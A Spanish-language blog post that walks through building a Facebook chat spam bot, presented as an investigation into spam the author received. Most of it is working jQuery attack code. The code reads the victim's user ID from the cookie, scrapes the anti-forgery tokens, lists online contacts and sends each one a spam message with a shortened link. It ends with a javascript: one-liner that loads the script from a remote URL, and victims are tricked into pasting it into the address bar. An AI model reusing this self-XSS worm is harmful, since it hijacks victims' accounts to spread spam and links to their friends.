
Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.
Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:
javascript: [CODIGO JAVASCRIPT]
e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.
Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:
- Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
- Envían mensajes a cada usuario conectado: Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
http://www.facebook.com/ajax/chat/send.php?__a=1
y como parámetro pasan:
msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest
Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.
- ID_USUARIO: La sacamos de la cookie de facebook
- POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
- FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).
Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:
- Entrar a la página principal de Facebook
- Sacar las cookies y buscar la ID_USUARIO
- Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
- Listar Los Usuarios conectados al chat
- Enviar un mensaje por cada usuario conectado
Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.
1.- Conectar a la raíz de Facebook y obtener los datos necesarios.
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
}
});
2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
}
});
}
});
3.- Debemos enviar un mensaje a cada usuario conectado.
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
/* [PASO 3] - Enviamos a cada amigo un mensaje */
/* Recorrimos la lista de amigos que estan disponibles */
for (var contact in buddyList['nowAvailableList']) {
/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
$.ajax({
url: '/ajax/chat/send.php?__a=1',
type: "POST",
data: {
msg_id: Math.floor(Math.random() * 1335448958),
client_time: (new Date).getTime(),
/* Aquí agregamos nuestro Mensaje */
msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
to: contact,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
post_form_id_source: "AsyncRequest"
},
success: function(chatSendResponse){
}
});
}
}
});
}
});
Para terminar nuestro código , agregaré el script de JQuery
/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
/* [PASO 3] - Enviamos a cada amigo un mensaje */
/* Recorrimos la lista de amigos que estan disponibles */
for (var contact in buddyList['nowAvailableList']) {
/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
$.ajax({
url: '/ajax/chat/send.php?__a=1',
type: "POST",
data: {
msg_id: Math.floor(Math.random() * 1335448958),
client_time: (new Date).getTime(),
/* Aquí agregamos nuestro Mensaje */
msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
to: contact,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
post_form_id_source: "AsyncRequest"
},
success: function(chatSendResponse){
}
});
}
}
});
}
});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);
Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48
Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.
javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);
Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.
De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,
Saludos!